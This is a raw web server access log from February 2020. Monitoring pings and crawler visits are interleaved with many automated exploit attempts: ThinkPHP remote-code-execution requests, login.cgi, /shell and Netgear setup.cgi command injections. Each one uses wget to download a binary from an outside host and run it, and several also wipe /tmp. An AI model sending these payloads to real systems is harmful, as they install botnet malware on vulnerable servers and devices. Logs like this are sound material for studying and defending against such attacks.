118.71.68.93 - - [08/Feb/2020:16:39:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.223.98.205 - - [08/Feb/2020:16:40:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [08/Feb/2020:16:41:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [08/Feb/2020:16:41:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [08/Feb/2020:16:41:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [08/Feb/2020:16:42:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.213.2 - - [08/Feb/2020:16:42:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.36.149.0 - - [08/Feb/2020:16:42:24 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.149.98 - - [08/Feb/2020:16:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
121.178.8.198 - - [08/Feb/2020:16:42:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.159.106 - - [08/Feb/2020:16:43:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.16.37.164 - - [08/Feb/2020:16:44:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
149.129.216.29 - - [08/Feb/2020:16:44:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.115.251.163 - - [08/Feb/2020:16:44:41 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [08/Feb/2020:16:44:41 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
212.91.246.72 - - [08/Feb/2020:16:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.115.251.163 - - [08/Feb/2020:16:44:45 +0100] "GET / HTTP/1.1" 200 1229 "https://zvooq.eu/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
42.113.17.16 - - [08/Feb/2020:16:44:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.232.252.155 - - [08/Feb/2020:16:46:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.190.161.109 - - [08/Feb/2020:16:46:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.142.249.93 - - [08/Feb/2020:16:47:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.1.146.202 - - [08/Feb/2020:16:47:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
47.91.108.6 - - [08/Feb/2020:16:47:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.1.146.202 - - [08/Feb/2020:16:47:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [08/Feb/2020:16:47:48 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:16:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [08/Feb/2020:16:49:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [08/Feb/2020:16:50:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.114.127.226 - - [08/Feb/2020:16:53:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.196.224 - - [08/Feb/2020:16:56:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:16:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.165.240.200 - - [08/Feb/2020:16:59:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:16:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.246.227.183 - - [08/Feb/2020:17:01:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:17:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.190.19 - - [08/Feb/2020:17:04:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.234.214.129 - - [08/Feb/2020:17:06:13 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:17:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.181.181.120 - - [08/Feb/2020:17:07:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.45.33.144 - - [08/Feb/2020:17:08:00 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
113.220.19.129 - - [08/Feb/2020:17:08:41 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [08/Feb/2020:17:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.51.180.165 - - [08/Feb/2020:17:08:48 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.180.165 - - [08/Feb/2020:17:08:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [08/Feb/2020:17:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.109 - - [08/Feb/2020:17:10:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:17:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [08/Feb/2020:17:10:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.2.9.16 - - [08/Feb/2020:17:14:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.83.146.233 - - [08/Feb/2020:17:14:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
186.223.98.205 - - [08/Feb/2020:17:14:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.98.42.208 - - [08/Feb/2020:17:14:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.59.198 - - [08/Feb/2020:17:18:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.29.30 - - [08/Feb/2020:17:18:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [08/Feb/2020:17:20:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.201.179.77 - - [08/Feb/2020:17:20:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.127.83 - - [08/Feb/2020:17:24:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.151.184.97 - - [08/Feb/2020:17:27:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.79.153.130 - - [08/Feb/2020:17:29:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
178.79.153.130 - - [08/Feb/2020:17:29:10 +0100] "Gh0st\xad" 501 321 "-" "-"
178.79.153.130 - - [08/Feb/2020:17:29:13 +0100] "HELP" 501 319 "-" "-"
178.79.153.130 - - [08/Feb/2020:17:29:13 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
178.79.153.130 - - [08/Feb/2020:17:29:14 +0100] "\x16\x03\x01" 501 318 "-" "-"
178.79.153.130 - - [08/Feb/2020:17:29:16 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
34.92.198.38 - - [08/Feb/2020:17:29:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.59.114.182 - - [08/Feb/2020:17:29:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.236.221.118 - - [08/Feb/2020:17:29:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:17:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.47.215 - - [08/Feb/2020:17:32:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.250.70 - - [08/Feb/2020:17:33:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.107.207 - - [08/Feb/2020:17:37:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:17:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.21 - - [08/Feb/2020:17:38:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [08/Feb/2020:17:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:17:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
